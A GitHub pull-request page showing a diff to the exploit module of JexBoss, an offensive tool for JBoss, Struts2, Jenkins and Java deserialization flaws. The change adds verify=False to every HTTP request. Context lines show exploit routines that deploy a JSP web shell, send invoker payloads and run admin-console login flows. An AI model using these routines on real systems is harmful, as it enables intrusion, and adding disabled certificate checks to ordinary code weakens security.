Skip to content

Update _exploits.py #44

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
random-robbie wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Update _exploits.py #44

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
39 changes: 20 additions & 19 deletions _exploits.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -61,11 +61,11 @@ def get_successfully(url, path):
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"User-Agent": jexboss.get_random_user_agent()}
r = gl_http_pool.request('GET', url + path, redirect=False, headers=headers)
r = gl_http_pool.request('GET', url + path, redirect=False, headers=headers, verify=False)
result = r.status
if result == 404:
sleep(7)
r = gl_http_pool.request('GET', url + path, redirect=False, headers=headers)
r = gl_http_pool.request('GET', url + path, redirect=False, headers=headers, verify=False)
result = r.status
return result

Expand Down Expand Up @@ -100,11 +100,11 @@ def exploit_struts2_jakarta_multipart(url,cmd, cookies):

headers['Content-Type'] = content_type
if cookies is not None: headers['Cookie'] = cookies
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
r = gl_http_pool.request('GET', url, redirect=True, headers=headers, verify=False)

if r.status == 404:
headers['Content-Type'] = 'text/html'
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
r = gl_http_pool.request('GET', url, redirect=True, headers=headers, verify=False)
if r.status == 200:
return " Could not get command output. You need to set up an Authoritative DNS and try to get the\n" \
" output of the commands via DNS covert channel.\n"
Expand Down Expand Up @@ -149,7 +149,7 @@ def exploit_struts2_jakarta_multipart_v2(url,cmd, cookies):

if cookies is not None: headers['Cookie'] = cookies

r = gl_http_pool.request('POST', url, redirect=True, headers=headers, body=body)
r = gl_http_pool.request('POST', url, redirect=True, headers=headers, body=body, verify=False)

return str(r.data)
'''
Expand All @@ -174,7 +174,7 @@ def exploit_jmx_console_main_deploy(url):
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"User-Agent": jexboss.get_random_user_agent()}
gl_http_pool.request('HEAD', url + payload, redirect=False, headers=headers)
gl_http_pool.request('HEAD', url + payload, redirect=False, headers=headers, verify=False)
return get_successfully(url, "/jexws4/jexws4.jsp")


Expand Down Expand Up @@ -264,7 +264,7 @@ def exploit_jmx_console_file_repository(url):
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"User-Agent": jexboss.get_random_user_agent()}
gl_http_pool.request('HEAD', url + payload, redirect=False, headers=headers)
gl_http_pool.request('HEAD', url + payload, redirect=False, headers=headers, verify=False)
return get_successfully(url, "/jexws4/jexws4.jsp")


Expand Down Expand Up @@ -404,12 +404,12 @@ def exploit_jmx_invoker_file_repository(url, version):
"Connection": "keep-alive",
"User-Agent": jexboss.get_random_user_agent()}

r = gl_http_pool.urlopen('POST', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload)
r = gl_http_pool.urlopen('POST', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload, verify=False)
result = r.status

if result == 401:
jexboss.print_and_flush(" Retrying...")
gl_http_pool.urlopen('HEAD', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload)
gl_http_pool.urlopen('HEAD', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload, verify=False)

return get_successfully(url, "/jexinv4/jexinv4.jsp")

Expand Down Expand Up @@ -451,11 +451,11 @@ def exploit_web_console_invoker(url):
"Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
"Connection": "keep-alive",
"User-Agent": jexboss.get_random_user_agent()}
r = gl_http_pool.urlopen('POST', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload)
r = gl_http_pool.urlopen('POST', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload, verify=False)
result = r.status
if result == 401:
jexboss.print_and_flush(" Retrying...")
gl_http_pool.urlopen('HEAD', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload)
gl_http_pool.urlopen('HEAD', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload, verify=False)

return get_successfully(url, "/jexws4/jexws4.jsp")

Expand Down Expand Up @@ -489,7 +489,7 @@ def exploit_servlet_deserialization(url, host, port, cmd, is_win, gadget, gadget
"Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
"Connection": "keep-alive",
"User-Agent": jexboss.get_random_user_agent()}
r = gl_http_pool.urlopen('POST', url, redirect=False, headers=headers, body=payload)
r = gl_http_pool.urlopen('POST', url, redirect=False, headers=headers, body=payload, verify=False)
if r.status == 200:
return 201
else:
Expand Down Expand Up @@ -559,7 +559,7 @@ def exploit_application_deserialization(url, host, port, cmd, is_win, param, for
else:

# open initial page for get cookie
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
r = gl_http_pool.request('GET', url, redirect=True, headers=headers, verify=False)
cookie = r.getheader('set-cookie')
if cookie is not None: headers['Cookie'] = cookie

Expand All @@ -573,7 +573,7 @@ def exploit_application_deserialization(url, host, port, cmd, is_win, param, for
if param_content is None:
redirect_link = get_html_redirect_link(str(r.data))
if redirect_link is not None:
r = gl_http_pool.request('GET', url + "/" + redirect_link, redirect=True, headers=headers)
r = gl_http_pool.request('GET', url + "/" + redirect_link, redirect=True, headers=headers, verify=False)
param_content = get_serialized_obj_from_param(str(r.data), param)

# if param to be exploited is not ViewState, get the current viewState
Expand Down Expand Up @@ -642,7 +642,7 @@ def exploit_jenkins(url, host, port, cmd, is_win, gadget, show_payload):
cli_ip = url.split('://')[1].split('/')[0].split(':')[0]
else:
cli_ip = url.split('/')[0].split(':')[0]
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
r = gl_http_pool.request('GET', url, redirect=True, headers=headers, verify=False)
all_headers = r.getheaders()
for h in all_headers:
if 'CLI-Port' in h:
Expand Down Expand Up @@ -863,7 +863,7 @@ def exploit_admin_console(url, jboss_login):
"Connection": "keep-alive",
"User-Agent": jexboss.get_random_user_agent()}

r = gl_http_pool.request('GET', url+"/admin-console/login.seam", headers=headers)
r = gl_http_pool.request('GET', url+"/admin-console/login.seam", headers=headers, verify=False)

if r.getheader('set-cookie') is not None:
headers['Cookie'] = r.getheader('set-cookie')
Expand All @@ -884,15 +884,15 @@ def exploit_admin_console(url, jboss_login):
jexboss.print_and_flush(GREEN + " * Info: Successfully logged in! Wait..." + ENDC)
location = r.getheader('Location')
conversation_id = location.split('=')[1]
r = gl_http_pool.request('GET', location, headers=headers)
r = gl_http_pool.request('GET', location, headers=headers, verify=False)
if state == None:
sleep(7)
r = gl_http_pool.request('GET', url+"/admin-console/secure/summary.seam?path=-3%2FApplications%2FWeb+Application+%28WAR"
"%29&conversationId="+conversation_id+"&conversationPropagation=end", headers=headers)
"%29&conversationId="+conversation_id+"&conversationPropagation=end", headers=headers, verify=False)
conversation_id = str(int(conversation_id)+1)
r = gl_http_pool.request('GET', url+"/admin-console/secure/resourceTypeSummary.seam?actionMethod=secure%2FresourceType"
"Summary.xhtml%3AcreateContentBackedResourceAction.init%28%29&conversationId="
+ conversation_id, headers=headers)
+ conversation_id, headers=headers, verify=False)
state = get_viewstate_value(str(r.data))

headers['Content-Type'] = "multipart/form-data; boundary=---------------------------551367293438156646377323759"
Expand Down Expand Up @@ -1897,3 +1897,4 @@ def shows_payload(payload, gadget_type):
jexboss.print_and_flush(url_encode(payload))
jexboss.print_and_flush(GREEN + "------------------------------------------------------------\n" + ENDC)